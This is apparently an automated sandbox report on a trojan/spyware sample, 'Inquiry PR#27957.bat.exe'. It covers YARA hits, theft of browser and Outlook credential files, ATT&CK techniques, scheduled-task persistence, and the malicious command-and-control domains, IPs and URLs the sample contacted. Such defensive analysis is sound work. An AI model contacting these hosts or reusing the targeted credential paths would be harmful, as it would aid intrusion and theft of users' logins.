Source: Yara match	File source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\sfc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1645996592.00000000015A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1645343377.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788281912.0000000002F50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3788326451.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3788150976.0000000003C10000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3791731697.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3785830120.0000000000A50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1956019902.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1647315768.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3788370711.00000000043B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1858896914.0000000003320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	612 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	612 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Inquiry PR#27957.bat.exe	34%	ReversingLabs	Win32.Trojan.Generic
Inquiry PR#27957.bat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\fuqwoDzun.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\fuqwoDzun.exe	34%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://www.viertage.work/br0f/	0%	Avira URL Cloud	safe
http://www.ffi07s.xyz/y7ar/?lv-=MrLs2OZQS9tqlK4Srgs+GAHAbHC9a9uyqM6nyvTx+aYY18R7NjkvoreXBqubaQ9RYarkm74io0l/Sb1qLPuR8/YoVsWf93Za6ivLQbcIgoRaZNPJDw==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
http://www.xn72dkd7scx.shop/emnz/	0%	Avira URL Cloud	safe
http://www.globaltrend.xyz/srh8/?lv-=IQYINTaWkaojOw8AeeCEPfEIeYkq+BJ0MxZ2KDKAvD89Td2DcEp1Lez+9d6wDeiGuMtHeyxXV+kcq5RzRjH8Tl/MEdpNR0v4ePERtHY07mFLqmHNNg==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
http://www.tp-consulting.net/3ooi/	0%	Avira URL Cloud	safe
http://www.globaltrend.xyz	0%	Avira URL Cloud	safe
http://www.dynamologistics.net/s992/	0%	Avira URL Cloud	safe
http://www.alphacentura.com/mnr7/	0%	Avira URL Cloud	safe
https://http.gn301.com:12345/?u=	0%	Avira URL Cloud	safe
http://www.dtalengineering.com/la5g/?lv-=1PPV6OmQtv6ujzxmde6xwEMvtAHXmjw0ET0xU8GpAjXY4BrLKK8c6E8QLqBoUjQmvUIqtY3TT4ZQ1NARuPdgqw8nEMVyZqzJ1NN5IW2O5lnTqqMxQQ==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
https://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5	0%	Avira URL Cloud	safe
https://ventraip.com.au/favicon.ico	0%	Avira URL Cloud	safe
http://www.ffi07s.xyz/y7ar/	0%	Avira URL Cloud	safe
http://www.dospole.top/soqq/	0%	Avira URL Cloud	safe
http://www.viertage.work/br0f/?lv-=ugi+9bpxNAaZR8wICrxq2eMEzwxItzjvBeZsufXo3FfvAETDHi1JbXCTNdvb4BDU5HS2z+wM6O9UukgZHdIpmHivweVWPh9LzIjwD/7QkR1e8x0qwg==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
http://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs+xzFf261ivHj6HGHsVKs3oxX4EX17CbJWppp6g6A8fr9hGSE2paVCFK8/RlnoJvqmanf4TUTsYPUhTHcRSC+WQ==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
http://www.9988566a4.shop	0%	Avira URL Cloud	safe
http://www.alphacentura.com/mnr7/?GJtTF=-FH8yJw&lv-=pvT+HB9YRKI+POQx0b/M/ubgxhqpaEX2BZjJkbsJzaX5mdbcin6Kt2D9XOjpJuvlAq8EfVvHU99Z+IER5VLxqOSodO53aJITzDoCBcybRFuSCV6gKg==	0%	Avira URL Cloud	safe
http://www.9988566a4.shop/roex/	0%	Avira URL Cloud	safe
http://www.dtalengineering.com/la5g/	0%	Avira URL Cloud	safe
http://www.dospole.top/soqq/?GJtTF=-FH8yJw&lv-=drOPoC+fcqVNsUc6VHZGLsfUz53xK80s09TfdoGgIRC+cuJysSYyQ9s+Q6Hx730bczsRaNUrXI+2DBjO7h7kx7woR32YUW8PWQ95aiNipO8bO2C7yA==	0%	Avira URL Cloud	safe
http://www.tp-consulting.net/3ooi/?lv-=1LFRRoLbVcSYXTZ6XdBa3kkSOtIcXt0xuK7G7zAfyuAyg5iI4oE5vIWxJ/ECDOK7eTrBqgzuJv49CznNGJBB0jFuKD1kyeaZBLZ0jvvkrC/dFa2PYg==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	0%	Avira URL Cloud	safe
http://www.j51a.xyz/y0md/	0%	Avira URL Cloud	safe
http://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5+Meub8zzKE0bi08FFPHLb+gDk5IVms6Q4x1dlGioX/f7BYVBQYq1+WtKZplIRrH9tE8oduNyVeBv0iNKG92SjPfl0JtCvCvw==	0%	Avira URL Cloud	safe
https://badges.ausowned.com.au/07634	0%	Avira URL Cloud	safe
http://www.9988566a4.shop/roex/?lv-=47/hzVl8DcmSvoQ5q5p0wIxjDl6sc/p2osL1e58noL7mmdwCeRUqiv3Sczuo1RIrkshpBASuVUC/h9VDFMrIc6PlwYO66SdA0FrSeVnyMCMUxRe8Kg==&GJtTF=-FH8yJw	0%	Avira URL Cloud	safe
http://www.dynamologistics.net/s992/?GJtTF=-FH8yJw&lv-=bPW5wL+6+Zn0FmJaaGSlZRyF0EkywNPIdxoHB7misPGpWoJmvT99WPeeVFPeE+QW7lFzZIe3p3wvC9c3tru/to3skHw9ZCkuDTXhooUuE0PnQLiimQ==	0%	Avira URL Cloud	safe
http://www.globaltrend.xyz/srh8/	0%	Avira URL Cloud	safe
https://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.dynamologistics.net	35.212.86.52	true	true	unknown
www.viertage.work	185.181.104.242	true	true	unknown
www.tp-consulting.net	5.252.229.221	true	true	unknown
weien.cdn.youziyuncdn.com	134.122.138.60	true	true	unknown
www.dtalengineering.com	103.42.108.46	true	true	unknown
www.ffi07s.xyz	188.114.96.3	true	true	unknown
wegamovies.online	84.32.84.32	true	true	unknown
www.globaltrend.xyz	188.114.97.3	true	true	unknown
huayang.302.gn301.xyz	154.12.34.252	true	true	unknown
www.dospole.top	162.254.38.56	true	true	unknown
rightol.net	94.130.217.114	true	true	unknown
ghs.googlehosted.com	142.250.185.211	true	false	unknown
tou6y19.tta88.com	38.145.202.186	true	true	unknown
www.alphacentura.com	188.114.96.3	true	true	unknown
www.u9games.xyz	unknown	unknown	true	unknown
www.lexpaidshares.online	unknown	unknown	true	unknown
www.xn72dkd7scx.shop	unknown	unknown	true	unknown
www.wegamovies.online	unknown	unknown	true	unknown
www.j51a.xyz	unknown	unknown	true	unknown
www.rightol.net	unknown	unknown	true	unknown
www.9988566a4.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.viertage.work/br0f/	true	Avira URL Cloud: safe	unknown
http://www.globaltrend.xyz/srh8/?lv-=IQYINTaWkaojOw8AeeCEPfEIeYkq+BJ0MxZ2KDKAvD89Td2DcEp1Lez+9d6wDeiGuMtHeyxXV+kcq5RzRjH8Tl/MEdpNR0v4ePERtHY07mFLqmHNNg==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.tp-consulting.net/3ooi/	true	Avira URL Cloud: safe	unknown
http://www.ffi07s.xyz/y7ar/?lv-=MrLs2OZQS9tqlK4Srgs+GAHAbHC9a9uyqM6nyvTx+aYY18R7NjkvoreXBqubaQ9RYarkm74io0l/Sb1qLPuR8/YoVsWf93Za6ivLQbcIgoRaZNPJDw==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.xn72dkd7scx.shop/emnz/	true	Avira URL Cloud: safe	unknown
http://www.dtalengineering.com/la5g/?lv-=1PPV6OmQtv6ujzxmde6xwEMvtAHXmjw0ET0xU8GpAjXY4BrLKK8c6E8QLqBoUjQmvUIqtY3TT4ZQ1NARuPdgqw8nEMVyZqzJ1NN5IW2O5lnTqqMxQQ==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.ffi07s.xyz/y7ar/	true	Avira URL Cloud: safe	unknown
http://www.alphacentura.com/mnr7/	true	Avira URL Cloud: safe	unknown
http://www.dynamologistics.net/s992/	true	Avira URL Cloud: safe	unknown
http://www.alphacentura.com/mnr7/?GJtTF=-FH8yJw&lv-=pvT+HB9YRKI+POQx0b/M/ubgxhqpaEX2BZjJkbsJzaX5mdbcin6Kt2D9XOjpJuvlAq8EfVvHU99Z+IER5VLxqOSodO53aJITzDoCBcybRFuSCV6gKg==	true	Avira URL Cloud: safe	unknown
http://www.viertage.work/br0f/?lv-=ugi+9bpxNAaZR8wICrxq2eMEzwxItzjvBeZsufXo3FfvAETDHi1JbXCTNdvb4BDU5HS2z+wM6O9UukgZHdIpmHivweVWPh9LzIjwD/7QkR1e8x0qwg==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.dospole.top/soqq/?GJtTF=-FH8yJw&lv-=drOPoC+fcqVNsUc6VHZGLsfUz53xK80s09TfdoGgIRC+cuJysSYyQ9s+Q6Hx730bczsRaNUrXI+2DBjO7h7kx7woR32YUW8PWQ95aiNipO8bO2C7yA==	true	Avira URL Cloud: safe	unknown
http://www.dospole.top/soqq/	true	Avira URL Cloud: safe	unknown
http://www.dtalengineering.com/la5g/	true	Avira URL Cloud: safe	unknown
http://www.9988566a4.shop/roex/	true	Avira URL Cloud: safe	unknown
http://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs+xzFf261ivHj6HGHsVKs3oxX4EX17CbJWppp6g6A8fr9hGSE2paVCFK8/RlnoJvqmanf4TUTsYPUhTHcRSC+WQ==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.tp-consulting.net/3ooi/?lv-=1LFRRoLbVcSYXTZ6XdBa3kkSOtIcXt0xuK7G7zAfyuAyg5iI4oE5vIWxJ/ECDOK7eTrBqgzuJv49CznNGJBB0jFuKD1kyeaZBLZ0jvvkrC/dFa2PYg==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5+Meub8zzKE0bi08FFPHLb+gDk5IVms6Q4x1dlGioX/f7BYVBQYq1+WtKZplIRrH9tE8oduNyVeBv0iNKG92SjPfl0JtCvCvw==	false	Avira URL Cloud: safe	unknown
http://www.j51a.xyz/y0md/	true	Avira URL Cloud: safe	unknown
http://www.9988566a4.shop/roex/?lv-=47/hzVl8DcmSvoQ5q5p0wIxjDl6sc/p2osL1e58noL7mmdwCeRUqiv3Sczuo1RIrkshpBASuVUC/h9VDFMrIc6PlwYO66SdA0FrSeVnyMCMUxRe8Kg==&GJtTF=-FH8yJw	true	Avira URL Cloud: safe	unknown
http://www.dynamologistics.net/s992/?GJtTF=-FH8yJw&lv-=bPW5wL+6+Zn0FmJaaGSlZRyF0EkywNPIdxoHB7misPGpWoJmvT99WPeeVFPeE+QW7lFzZIe3p3wvC9c3tru/to3skHw9ZCkuDTXhooUuE0PnQLiimQ==	true	Avira URL Cloud: safe	unknown
http://www.globaltrend.xyz/srh8/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globaltrend.xyz	sfc.exe, 00000011.00000002.3790282223.00000000043AE000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.000000000382E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://http.gn301.com:12345/?u=	sfc.exe, 00000011.00000002.3790282223.00000000046D2000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003B52000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	Inquiry PR#27957.bat.exe, fuqwoDzun.exe.0.dr	false	URL Reputation: safe	unknown
https://ventraip.com.au/favicon.ico	sfc.exe, 00000011.00000002.3790282223.0000000003D66000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5	sfc.exe, 00000011.00000002.3790282223.0000000003BD4000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003054000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2097655190.000000000D334000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.9988566a4.shop	TsdBVAGjsKVoi.exe, 00000015.00000002.3791731697.0000000005105000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://badges.ausowned.com.au/07634	sfc.exe, 00000011.00000002.3792533848.00000000061D0000.00000004.00000800.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3790282223.0000000003D66000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	sfc.exe, 00000011.00000002.3790282223.0000000004864000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.0000000003CE4000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Inquiry PR#27957.bat.exe, 00000000.00000002.1351958774.0000000002F27000.00000004.00000800.00020000.00000000.sdmp, fuqwoDzun.exe, 0000000A.00000002.1568631756.0000000002779000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.xn72dkd7scx.shop/emnz/?lv-=oBBn57UjS7mF6OBjtXCA4K/r3FCs	sfc.exe, 00000011.00000002.3790282223.000000000408A000.00000004.10000000.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000015.00000002.3789235628.000000000350A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	sfc.exe, 00000011.00000003.1978545197.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.181.104.242	www.viertage.work	Germany	48596	INWXDE	true
188.114.97.3	www.globaltrend.xyz	European Union	13335	CLOUDFLARENETUS	true
5.252.229.221	www.tp-consulting.net	Poland	203417	LHPL	true
188.114.96.3	www.ffi07s.xyz	European Union	13335	CLOUDFLARENETUS	true
142.250.185.211	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
103.42.108.46	www.dtalengineering.com	Australia	45638	SYNERGYWHOLESALE-APSYNERGYWHOLESALEPTYLTDAU	true
134.122.138.60	weien.cdn.youziyuncdn.com	United States	64050	BCPL-SGBGPNETGlobalASNSG	true
38.145.202.186	tou6y19.tta88.com	United States	18978	ENZUINC-US	true
35.212.86.52	www.dynamologistics.net	United States	19527	GOOGLE-2US	true
162.254.38.56	www.dospole.top	United States	13768	COGECO-PEER1CA	true
142.250.185.147	unknown	United States	15169	GOOGLEUS	false
154.12.34.252	huayang.302.gn301.xyz	United States	54133	UNMETEREDCA	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1470000
Start date and time:	2024-07-09 12:06:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	3
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Inquiry PR#27957.bat.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/16@17/12
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 95% Number of executed functions: 110 Number of non-executed functions: 327
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target TsdBVAGjsKVoi.exe, PID 6336 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Inquiry PR#27957.bat.exe

Simulations

Behavior and APIs

Time	Type	Description
06:07:14	API Interceptor	2x Sleep call for process: Inquiry PR#27957.bat.exe modified
06:07:16	API Interceptor	38x Sleep call for process: powershell.exe modified
06:07:20	API Interceptor	2x Sleep call for process: fuqwoDzun.exe modified
06:08:34	API Interceptor	10471706x Sleep call for process: sfc.exe modified
11:07:19	Task Scheduler	Run new task: fuqwoDzun path: C:\Users\user\AppData\Roaming\fuqwoDzun.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.181.104.242	2JQN1P3Y7e.exe	Get hash	malicious	FormBook	Browse	www.newworklife.space/gvv5/?0R-H=SXAtntdX4L&eF=ZMcbB6IUNmAlg7fbAPtreYFlEco2ApBQrt2Y6l1H+ZRz2eKO1FiRuJz17xYdo1ZEVUKmlyJbiN2xAIKNXOggnnrBGbim0xImVyf/SHwTXi7s
185.181.104.242	Universalmiddel169.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.newworklife.space/gvrw/?gHoDp=pzI/rrC1ouWmPeTy5wV8rpzlLst9BU/y/gUpEYo8R9AHcmUM4Air+pAqAy6btYHHWKXDT3hjn50EzHYr0Q/4IRZS/atyQviXyA==&7nX0d=4hl0d2qxplV
188.114.97.3	http://threemanshop.com	Get hash	malicious	Unknown	Browse	threemanshop.com/cdn-cgi/images/cf-icon-server.png
	http://threemanshop.com	Get hash	malicious	Unknown	Browse	threemanshop.com/favicon.ico
	SecuriteInfo.com.Trojan.WinGo.Shellcoderunner.14178.1646.exe	Get hash	malicious	Unknown	Browse	source-update.hugratcat.top:2095/ws
	DRAFT CONTRACT COPY_938840.scr	Get hash	malicious	FormBook	Browse	www.9muyiutyt.online/wf22/
	738eb28a4f17d2292c8fc731a176539d2674fcb1b96d6.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	483130cm.nyashka.top/VmPhpupdatedefaultLocal.php
	NGL 700800.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?I4olCFhX=4L8xoD0W4Zo4sy88OPxzXkM4Et1OXrliZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk7znic/DfJyEGJbg1Pv28u2ofuxZkWteJjYs=&G0Wln=fJi8Hdr8
	E3QY28nEGw.exe	Get hash	malicious	Unknown	Browse	source-update.hugratcat.top:2095/ws
	PAZxQIjeuyCNRXg.exe	Get hash	malicious	FormBook	Browse	www.camperelektrikde.shop/dy13/?wj=8bNdgr3QvPw6/pDIZNt+55DvjzemDI0RO+pYD3qlulbIe6f7Sn3K06Z4F7nwygqHvoV4&CR-=CpfXQDw
